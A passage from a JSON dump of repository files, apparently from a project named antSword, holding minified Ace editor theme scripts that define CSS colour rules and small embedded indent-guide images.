rgb(88, 72, 246);}.ace-crimson-editor .ace_constant.ace_language {color: rgb(255, 156, 0);}.ace-crimson-editor .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-crimson-editor .ace_invalid {text-decoration: line-through;color: rgb(224, 0, 0);}.ace-crimson-editor .ace_fold {}.ace-crimson-editor .ace_support.ace_function {color: rgb(192, 0, 0);}.ace-crimson-editor .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-crimson-editor .ace_support.ace_type,.ace-crimson-editor .ace_support.ace_class {color: rgb(109, 121, 222);}.ace-crimson-editor .ace_keyword.ace_operator {color: rgb(49, 132, 149);}.ace-crimson-editor .ace_string {color: rgb(128, 0, 128);}.ace-crimson-editor .ace_comment {color: rgb(76, 136, 107);}.ace-crimson-editor .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-crimson-editor .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-crimson-editor .ace_constant.ace_numeric {color: rgb(0, 0, 64);}.ace-crimson-editor .ace_variable {color: rgb(0, 64, 128);}.ace-crimson-editor .ace_xml-pe {color: rgb(104, 104, 91);}.ace-crimson-editor .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-crimson-editor .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-crimson-editor .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-crimson-editor .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-crimson-editor .ace_marker-layer .ace_active-line {background: rgb(232, 242, 254);}.ace-crimson-editor .ace_gutter-active-line {background-color : #dcdcdc;}.ace-crimson-editor .ace_meta.ace_tag {color:rgb(28, 2, 255);}.ace-crimson-editor .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-crimson-editor .ace_string.ace_regex {color: rgb(192, 0, 192);}.ace-crimson-editor .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}',t.cssClass=\"ace-crimson-editor\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-dawn.js",
    "content": "ace.define(\"ace/theme/dawn\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-dawn\",t.cssText=\".ace-dawn .ace_gutter {background: #ebebeb;color: #333}.ace-dawn .ace_print-margin {width: 1px;background: #e8e8e8}.ace-dawn {background-color: #F9F9F9;color: #080808}.ace-dawn .ace_cursor {color: #000000}.ace-dawn .ace_marker-layer .ace_selection {background: rgba(39, 95, 255, 0.30)}.ace-dawn.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #F9F9F9;}.ace-dawn .ace_marker-layer .ace_step {background: rgb(255, 255, 0)}.ace-dawn .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(75, 75, 126, 0.50)}.ace-dawn .ace_marker-layer .ace_active-line {background: rgba(36, 99, 180, 0.12)}.ace-dawn .ace_gutter-active-line {background-color : #dcdcdc}.ace-dawn .ace_marker-layer .ace_selected-word {border: 1px solid rgba(39, 95, 255, 0.30)}.ace-dawn .ace_invisible {color: rgba(75, 75, 126, 0.50)}.ace-dawn .ace_keyword,.ace-dawn .ace_meta {color: #794938}.ace-dawn .ace_constant,.ace-dawn .ace_constant.ace_character,.ace-dawn .ace_constant.ace_character.ace_escape,.ace-dawn .ace_constant.ace_other {color: #811F24}.ace-dawn .ace_invalid.ace_illegal {text-decoration: underline;font-style: italic;color: #F8F8F8;background-color: #B52A1D}.ace-dawn .ace_invalid.ace_deprecated {text-decoration: underline;font-style: italic;color: #B52A1D}.ace-dawn .ace_support {color: #691C97}.ace-dawn .ace_support.ace_constant {color: #B4371F}.ace-dawn .ace_fold {background-color: #794938;border-color: #080808}.ace-dawn .ace_list,.ace-dawn .ace_markup.ace_list,.ace-dawn .ace_support.ace_function {color: #693A17}.ace-dawn .ace_storage {font-style: italic;color: #A71D5D}.ace-dawn .ace_string {color: #0B6125}.ace-dawn .ace_string.ace_regexp {color: #CF5628}.ace-dawn .ace_comment {font-style: italic;color: #5A525F}.ace-dawn .ace_heading,.ace-dawn .ace_markup.ace_heading {color: #19356D}.ace-dawn .ace_variable {color: #234A97}.ace-dawn .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYLh/5+x/AAizA4hxNNsZAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-dreamweaver.js",
    "content": "ace.define(\"ace/theme/dreamweaver\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-dreamweaver\",t.cssText='.ace-dreamweaver .ace_gutter {background: #e8e8e8;color: #333;}.ace-dreamweaver .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-dreamweaver {background-color: #FFFFFF;color: black;}.ace-dreamweaver .ace_fold {background-color: #757AD8;}.ace-dreamweaver .ace_cursor {color: black;}.ace-dreamweaver .ace_invisible {color: rgb(191, 191, 191);}.ace-dreamweaver .ace_storage,.ace-dreamweaver .ace_keyword {color: blue;}.ace-dreamweaver .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-dreamweaver .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-dreamweaver .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-dreamweaver .ace_invalid {background-color: rgb(153, 0, 0);color: white;}.ace-dreamweaver .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-dreamweaver .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-dreamweaver .ace_support.ace_type,.ace-dreamweaver .ace_support.ace_class {color: #009;}.ace-dreamweaver .ace_support.ace_php_tag {color: #f00;}.ace-dreamweaver .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-dreamweaver .ace_string {color: #00F;}.ace-dreamweaver .ace_comment {color: rgb(76, 136, 107);}.ace-dreamweaver .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-dreamweaver .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-dreamweaver .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-dreamweaver .ace_variable {color: #06F}.ace-dreamweaver .ace_xml-pe {color: rgb(104, 104, 91);}.ace-dreamweaver .ace_entity.ace_name.ace_function {color: #00F;}.ace-dreamweaver .ace_heading {color: rgb(12, 7, 255);}.ace-dreamweaver .ace_list {color:rgb(185, 6, 144);}.ace-dreamweaver .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-dreamweaver .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-dreamweaver .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-dreamweaver .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-dreamweaver .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-dreamweaver .ace_gutter-active-line {background-color : #DCDCDC;}.ace-dreamweaver .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-dreamweaver .ace_meta.ace_tag {color:#009;}.ace-dreamweaver .ace_meta.ace_tag.ace_anchor {color:#060;}.ace-dreamweaver .ace_meta.ace_tag.ace_form {color:#F90;}.ace-dreamweaver .ace_meta.ace_tag.ace_image {color:#909;}.ace-dreamweaver .ace_meta.ace_tag.ace_script {color:#900;}.ace-dreamweaver .ace_meta.ace_tag.ace_style {color:#909;}.ace-dreamweaver .ace_meta.ace_tag.ace_table {color:#099;}.ace-dreamweaver .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-dreamweaver .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-eclipse.js",
    "content": "ace.define(\"ace/theme/eclipse\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";t.isDark=!1,t.cssText='.ace-eclipse .ace_gutter {background: #ebebeb;border-right: 1px solid rgb(159, 159, 159);color: rgb(136, 136, 136);}.ace-eclipse .ace_print-margin {width: 1px;background: #ebebeb;}.ace-eclipse {background-color: #FFFFFF;color: black;}.ace-eclipse .ace_fold {background-color: rgb(60, 76, 114);}.ace-eclipse .ace_cursor {color: black;}.ace-eclipse .ace_storage,.ace-eclipse .ace_keyword,.ace-eclipse .ace_variable {color: rgb(127, 0, 85);}.ace-eclipse .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-eclipse .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-eclipse .ace_function {color: rgb(60, 76, 114);}.ace-eclipse .ace_string {color: rgb(42, 0, 255);}.ace-eclipse .ace_comment {color: rgb(113, 150, 130);}.ace-eclipse .ace_comment.ace_doc {color: rgb(63, 95, 191);}.ace-eclipse .ace_comment.ace_doc.ace_tag {color: rgb(127, 159, 191);}.ace-eclipse .ace_constant.ace_numeric {color: darkblue;}.ace-eclipse .ace_tag {color: rgb(25, 118, 116);}.ace-eclipse .ace_type {color: rgb(127, 0, 127);}.ace-eclipse .ace_xml-pe {color: rgb(104, 104, 91);}.ace-eclipse .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-eclipse .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-eclipse .ace_meta.ace_tag {color:rgb(25, 118, 116);}.ace-eclipse .ace_invisible {color: #ddd;}.ace-eclipse .ace_entity.ace_other.ace_attribute-name {color:rgb(127, 0, 127);}.ace-eclipse .ace_marker-layer .ace_step {background: rgb(255, 255, 0);}.ace-eclipse .ace_active-line {background: rgb(232, 242, 254);}.ace-eclipse .ace_gutter-active-line {background-color : #DADADA;}.ace-eclipse .ace_marker-layer .ace_selected-word {border: 1px solid rgb(181, 213, 255);}.ace-eclipse .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}',t.cssClass=\"ace-eclipse\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-github.js",
    "content": "ace.define(\"ace/theme/github\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-github\",t.cssText='.ace-github .ace_gutter {background: #e8e8e8;color: #AAA;}.ace-github  {background: #fff;color: #000;}.ace-github .ace_keyword {font-weight: bold;}.ace-github .ace_string {color: #D14;}.ace-github .ace_variable.ace_class {color: teal;}.ace-github .ace_constant.ace_numeric {color: #099;}.ace-github .ace_constant.ace_buildin {color: #0086B3;}.ace-github .ace_support.ace_function {color: #0086B3;}.ace-github .ace_comment {color: #998;font-style: italic;}.ace-github .ace_variable.ace_language  {color: #0086B3;}.ace-github .ace_paren {font-weight: bold;}.ace-github .ace_boolean {font-weight: bold;}.ace-github .ace_string.ace_regexp {color: #009926;font-weight: normal;}.ace-github .ace_variable.ace_instance {color: teal;}.ace-github .ace_constant.ace_language {font-weight: bold;}.ace-github .ace_cursor {color: black;}.ace-github.ace_focus .ace_marker-layer .ace_active-line {background: rgb(255, 255, 204);}.ace-github .ace_marker-layer .ace_active-line {background: rgb(245, 245, 245);}.ace-github .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-github.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px white;border-radius: 2px;}.ace-github.ace_nobold .ace_line > span {font-weight: normal !important;}.ace-github .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-github .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-github .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-github .ace_gutter-active-line {background-color : rgba(0, 0, 0, 0.07);}.ace-github .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-github .ace_invisible {color: #BFBFBF}.ace-github .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-github .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-idle_fingers.js",
    "content": "ace.define(\"ace/theme/idle_fingers\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-idle-fingers\",t.cssText=\".ace-idle-fingers .ace_gutter {background: #3b3b3b;color: rgb(153,153,153)}.ace-idle-fingers .ace_print-margin {width: 1px;background: #3b3b3b}.ace-idle-fingers {background-color: #323232;color: #FFFFFF}.ace-idle-fingers .ace_cursor {color: #91FF00}.ace-idle-fingers .ace_marker-layer .ace_selection {background: rgba(90, 100, 126, 0.88)}.ace-idle-fingers.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #323232;}.ace-idle-fingers .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-idle-fingers .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #404040}.ace-idle-fingers .ace_marker-layer .ace_active-line {background: #353637}.ace-idle-fingers .ace_gutter-active-line {background-color: #353637}.ace-idle-fingers .ace_marker-layer .ace_selected-word {border: 1px solid rgba(90, 100, 126, 0.88)}.ace-idle-fingers .ace_invisible {color: #404040}.ace-idle-fingers .ace_keyword,.ace-idle-fingers .ace_meta {color: #CC7833}.ace-idle-fingers .ace_constant,.ace-idle-fingers .ace_constant.ace_character,.ace-idle-fingers .ace_constant.ace_character.ace_escape,.ace-idle-fingers .ace_constant.ace_other,.ace-idle-fingers .ace_support.ace_constant {color: #6C99BB}.ace-idle-fingers .ace_invalid {color: #FFFFFF;background-color: #FF0000}.ace-idle-fingers .ace_fold {background-color: #CC7833;border-color: #FFFFFF}.ace-idle-fingers .ace_support.ace_function {color: #B83426}.ace-idle-fingers .ace_variable.ace_parameter {font-style: italic}.ace-idle-fingers .ace_string {color: #A5C261}.ace-idle-fingers .ace_string.ace_regexp {color: #CCCC33}.ace-idle-fingers .ace_comment {font-style: italic;color: #BC9458}.ace-idle-fingers .ace_meta.ace_tag {color: #FFE5BB}.ace-idle-fingers .ace_entity.ace_name {color: #FFC66D}.ace-idle-fingers .ace_collab.ace_user1 {color: #323232;background-color: #FFF980}.ace-idle-fingers .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWMwMjLyZYiPj/8PAAreAwAI1+g0AAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-iplastic.js",
    "content": "ace.define(\"ace/theme/iplastic\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-iplastic\",t.cssText=\".ace-iplastic .ace_gutter {background: #dddddd;color: #666666}.ace-iplastic .ace_print-margin {width: 1px;background: #bbbbbb}.ace-iplastic {background-color: #eeeeee;color: #333333}.ace-iplastic .ace_cursor {color: #333}.ace-iplastic .ace_marker-layer .ace_selection {background: #BAD6FD;}.ace-iplastic.ace_multiselect .ace_selection.ace_start {border-radius: 4px}.ace-iplastic .ace_marker-layer .ace_step {background: #444444}.ace-iplastic .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #49483E;background: #FFF799}.ace-iplastic .ace_marker-layer .ace_active-line {background: #e5e5e5}.ace-iplastic .ace_gutter-active-line {background-color: #eeeeee}.ace-iplastic .ace_marker-layer .ace_selected-word {border: 1px solid #555555;border-radius:4px}.ace-iplastic .ace_invisible {color: #999999}.ace-iplastic .ace_entity.ace_name.ace_tag,.ace-iplastic .ace_keyword,.ace-iplastic .ace_meta.ace_tag,.ace-iplastic .ace_storage {color: #0000FF}.ace-iplastic .ace_punctuation,.ace-iplastic .ace_punctuation.ace_tag {color: #000}.ace-iplastic .ace_constant {color: #333333;font-weight: 700}.ace-iplastic .ace_constant.ace_character,.ace-iplastic .ace_constant.ace_language,.ace-iplastic .ace_constant.ace_numeric,.ace-iplastic .ace_constant.ace_other {color: #0066FF;font-weight: 700}.ace-iplastic .ace_constant.ace_numeric{font-weight: 100}.ace-iplastic .ace_invalid {color: #F8F8F0;background-color: #F92672}.ace-iplastic .ace_invalid.ace_deprecated {color: #F8F8F0;background-color: #AE81FF}.ace-iplastic .ace_support.ace_constant,.ace-iplastic .ace_support.ace_function {color: #333333;font-weight: 700}.ace-iplastic .ace_fold {background-color: #464646;border-color: #F8F8F2}.ace-iplastic .ace_storage.ace_type,.ace-iplastic .ace_support.ace_class,.ace-iplastic .ace_support.ace_type {color: #3333fc;font-weight: 700}.ace-iplastic .ace_entity.ace_name.ace_function,.ace-iplastic .ace_entity.ace_other,.ace-iplastic .ace_entity.ace_other.ace_attribute-name,.ace-iplastic .ace_variable {color: #3366cc;font-style: italic}.ace-iplastic .ace_variable.ace_parameter {font-style: italic;color: #2469E0}.ace-iplastic .ace_string {color: #a55f03}.ace-iplastic .ace_comment {color: #777777;font-style: italic}.ace-iplastic .ace_fold-widget {background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42mWKsQ0AMAzC8ixLlrzQjzmBiEjp0A6WwBCSPgKAXoLkqSot7nN3yMwR7pZ32NzpKkVoDBUxKAAAAABJRU5ErkJggg==);}.ace-iplastic .ace_indent-guide {background: url(data:image/png;base64,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) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-katzenmilch.js",
    "content": "ace.define(\"ace/theme/katzenmilch\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-katzenmilch\",t.cssText=\".ace-katzenmilch .ace_gutter,.ace-katzenmilch .ace_gutter {background: #e8e8e8;color: #333}.ace-katzenmilch .ace_print-margin {width: 1px;background: #e8e8e8}.ace-katzenmilch {background-color: #f3f2f3;color: rgba(15, 0, 9, 1.0)}.ace-katzenmilch .ace_cursor {border-left: 2px solid #100011}.ace-katzenmilch .ace_overwrite-cursors .ace_cursor {border-left: 0px;border-bottom: 1px solid #100011}.ace-katzenmilch .ace_marker-layer .ace_selection {background: rgba(100, 5, 208, 0.27)}.ace-katzenmilch.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #f3f2f3;}.ace-katzenmilch .ace_marker-layer .ace_step {background: rgb(198, 219, 174)}.ace-katzenmilch .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(0, 0, 0, 0.33);}.ace-katzenmilch .ace_marker-layer .ace_active-line {background: rgb(232, 242, 254)}.ace-katzenmilch .ace_gutter-active-line {background-color: rgb(232, 242, 254)}.ace-katzenmilch .ace_marker-layer .ace_selected-word {border: 1px solid rgba(100, 5, 208, 0.27)}.ace-katzenmilch .ace_invisible {color: #BFBFBF}.ace-katzenmilch .ace_fold {background-color: rgba(2, 95, 73, 0.97);border-color: rgba(15, 0, 9, 1.0)}.ace-katzenmilch .ace_keyword {color: #674Aa8;rbackground-color: rgba(163, 170, 216, 0.055)}.ace-katzenmilch .ace_constant.ace_language {color: #7D7e52;rbackground-color: rgba(189, 190, 130, 0.059)}.ace-katzenmilch .ace_constant.ace_numeric {color: rgba(79, 130, 123, 0.93);rbackground-color: rgba(119, 194, 187, 0.059)}.ace-katzenmilch .ace_constant.ace_character,.ace-katzenmilch .ace_constant.ace_other {color: rgba(2, 95, 105, 1.0);rbackground-color: rgba(127, 34, 153, 0.063)}.ace-katzenmilch .ace_support.ace_function {color: #9D7e62;rbackground-color: rgba(189, 190, 130, 0.039)}.ace-katzenmilch .ace_support.ace_class {color: rgba(239, 106, 167, 1.0);rbackground-color: rgba(239, 106, 167, 0.063)}.ace-katzenmilch .ace_storage {color: rgba(123, 92, 191, 1.0);rbackground-color: rgba(139, 93, 223, 0.051)}.ace-katzenmilch .ace_invalid {color: #DFDFD5;rbackground-color: #CC1B27}.ace-katzenmilch .ace_string {color: #5a5f9b;rbackground-color: rgba(170, 175, 219, 0.035)}.ace-katzenmilch .ace_comment {font-style: italic;color: rgba(64, 79, 80, 0.67);rbackground-color: rgba(95, 15, 255, 0.0078)}.ace-katzenmilch .ace_entity.ace_name.ace_function,.ace-katzenmilch .ace_variable {color: rgba(2, 95, 73, 0.97);rbackground-color: rgba(34, 255, 73, 0.12)}.ace-katzenmilch .ace_variable.ace_language {color: #316fcf;rbackground-color: rgba(58, 175, 255, 0.039)}.ace-katzenmilch .ace_variable.ace_parameter {font-style: italic;color: rgba(51, 150, 159, 0.87);rbackground-color: rgba(5, 214, 249, 0.043)}.ace-katzenmilch .ace_entity.ace_other.ace_attribute-name {color: rgba(73, 70, 194, 0.93);rbackground-color: rgba(73, 134, 194, 0.035)}.ace-katzenmilch .ace_entity.ace_name.ace_tag {color: #3976a2;rbackground-color: rgba(73, 166, 210, 0.039)}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "antSword/static/libs/ace/theme-kr_theme.js",
